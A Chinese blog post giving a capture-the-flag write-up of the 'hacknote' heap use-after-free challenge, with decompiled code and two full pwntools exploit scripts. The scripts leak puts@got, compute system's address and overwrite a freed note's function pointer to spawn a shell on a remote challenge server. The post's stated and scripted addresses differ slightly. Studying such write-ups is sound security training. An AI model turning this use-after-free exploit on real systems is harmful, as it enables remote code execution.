堆UAF-hacknote

堆UAF-hacknote

堆的经典UAF漏洞

例题是hacknote

分析

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);                    // cannany
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, buf, 4u);
      v3 = atoi(buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

可以分析出来v3是经过atoi后的我们输入的菜单选项,也就是index

menu的功能如下所示

index == 1 : add_note()
index == 2 : del_note()
index == 3 : print_note()
index == 4 : exit(0)
else : goto LABEL_13 --> puts("Invalid choice")

add_note

unsigned int add_note()
{
  int current_control_chunk; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&notelist + i) )                  // 判断notlist是否是空,如果是空,那么!取否后就是1也就是执行
      {
        *(&notelist + i) = malloc(8u);
        if ( !*(&notelist + i) )                // malloc后如果内容还为空,则盘判定malloc出错
        {

          puts("Alloca Error");
          exit(-1);
        }                                       // no use
        **(&notelist + i) = print_note_content;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        current_control_chunk = *(&notelist + i);
        *(current_control_chunk + 4) = malloc(size);
        if ( !*(*(&notelist + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(*(&notelist + i) + 1), size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

image-20220402103534789

del_note

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
  {
    free(*(*(&notelist + v1) + 1));
    free(*(&notelist + v1));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

image-20220402103649522

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
    (**(&notelist + v1))(*(&notelist + v1));
  return __readgsdword(0x14u) ^ v3;
}

其中(**(&notelist + v1))(*(&notelist + v1));的作用是

print_note_content(子chunk)

即调用print_note_content函数,传入子chunk的地址,输出子chunk中的内容

漏洞

由于free(0)和free(1)的时候并没有清空指针,所以内存还是在占用的,除了将chunk的移到了bin中,其他的基本不变

image-20220402111320559

而此时就可以通过申请一个新的堆块,大小设置为0x8就可以将free(1)后的堆空间作为2的堆(堆是后进先出)

此时,由于add的操作实则是申请了两块堆空间,一块是固定的8,一块是自己确定的也就是刚刚选择的大小0x8

*(&notelist + i) = malloc(8u);
*(current_control_chunk + 4) = malloc(size);

add(8)的操作先是*(&notelist + i) = malloc(8u)申请了0x8的大小的堆块(固定),然后子chunk*(current_control_chunk + 4)也申请了一个0x8大小的堆块(这个是我们定的size),而由于这两块bin靠的很近,所以*(current_control_chunk + 4)所申请的0x8大小的堆块是free(0)的堆块。

此时free(*(&notelist + v1))所free掉的1的控制chunk就变成了2的控制chunk,而0的控制chunk就变成了2的数据chunk

image-20220402151751445

而此时就出现了UAF

泄露地址

攻防世界的这道题没有后门函数,所以需要自己篡改system

第一步就是要泄露出system的真实地址

由于程序在启动menu的时候就调用了puts函数,所以got表中有puts函数的真实地址

因而攻击的想法就是把第一个chunk的打印我们写入内容的指令劫持,将要打印的地址改成got表中puts的地址

image-20220402154800744

其中原本的print_note_content地址如下

image-20220403003921577

所以泄露地址传入的payload应为

add(0x8,p32(0x0804865B)+p32(elf.got['puts']) # print_note_content_addr + puts@got

此时再调用put_note去打印0的时候,因为控制chunk被篡改,打印出来的内容就变成了puts的动态地址

#!/usr/bin/python
#-*- coding: utf-8 -*-
'''
Author : MuRKuo
Email : 1442121990@qq.com
Create time : 2022-04-02 20:25
Filename : xielou.py
'''
#!/usr/bin/python3
#-*- coding: utf-8 -*-
'''
Author : MuRKuo
Email : 1442121990@qq.com
Create time : 2022-04-02 00:19
Filename : me.py
'''
from pwn import *
context.log_level = 'debug'
 
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
esb = lambda x: elf.sym[x]
esh = lambda x: next(elf.search(x))
ep = lambda x : elf.plt[x]
eg = lambda x : elf.got[x]
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
pr = lambda x: print(x)

#p = process('./hacknote')
p = remote('111.200.241.244',58583)
elf = ELF('./hacknote')
libc = ELF('./libc_32.so.6')

def add(size,content):
    sla(b':','1')
    sla(b':',str(size).encode())
    sla(b':',content)

def del_note(index):
    sla(b':','2')
    sla(b':',str(index).encode())
    
def print_note(index):
    sla(b':','3')
    sla(b':',str(index).encode())

#debug()
add(0x20,b'AAAA')
#debug()
add(0x20,b'aaaa')
del_note(0)
del_note(1)
add(8,p32(0x0804862B) + p32(elf.got['puts']))
#add(8,b'+\x86\x04$\xa0\x04')
print_note(0)
pr(p.recv())
#pr(p.recv(4))
puts_addr = u32(p.recv(4))
print(puts_addr)

这里面之所以在p.recv(4)之前先p.recv()是因为执行后会先输出一个b'Index :'然后才是地址

image-20220403113615908

注意:

仔细看关于menu的功能的def,会发现我在所有的str(index)后面都加了一个.encode()这里由于我使用的是python3环境,在python3环境里str()默认是以Unicode编码的格式,这里需要转成UTF-8的编码格式,所以使用encode()函数转化成UTF-8的格式

另外说一句,这也是为啥好多的py2写的脚本py3无法运行的原因之一,py2的str()UTF-8编码,而py3是Unicode

攻击

前面已经通过泄露求出来了偏移,并且计算得到了system的真实地址

下面的流程和上面类似,只不过这一次连print_note_content也要篡改成system的真实地址

image-20220403014801058

调用print_note的时候相当于执行了system(system_addr;sh\00)

因为system中默认接受的参数是自己的地址参数,所以后面要用;分割执行另一条指令

#!/usr/bin/python
#-*- coding: utf-8 -*-
'''
Author : MuRKuo
Email : 1442121990@qq.com
Create time : 2022-04-02 00:19
Filename : me.py
'''
from pwn import *
context.log_level = 'debug'
 
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
esb = lambda x: elf.sym[x]
esh = lambda x: next(elf.search(x))
ep = lambda x : elf.plt[x]
eg = lambda x : elf.got[x]
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
pr = lambda x: print(x)

#p = process('./hacknote')
p = remote('111.200.241.244',58583)
elf = ELF('./hacknote')
libc = ELF('./libc_32.so.6')

# menu
def add(size,content):
    sla(b':','1')
    sla(b':',str(size).encode())
    sla(b':',content)

def del_note(index):
    sla(b':','2')
    sla(b':',str(index).encode())
    
def print_note(index):
    sla(b':','3')
    sla(b':',str(index).encode())

# 泄露地址
#debug()
add(0x20,b'AAAA')
#debug()
add(0x20,b'aaaa')
del_note(0)
del_note(1)
add(8,p32(0x0804862B) + p32(elf.got['puts']))
print_note(0)
p.recv()
puts_addr = u32(p.recv(4))

# 计算偏移
offset  = puts_addr - libc.sym['puts']
system_addr = offset + libc.sym['system']

# 攻击
del_note(2)
add(8,p32(system_addr)+b'||sh\00')
print_note(0)
shell()
posted @ 2022-04-03 11:39  MuRKuo  阅读(34)  评论(0编辑  收藏  举报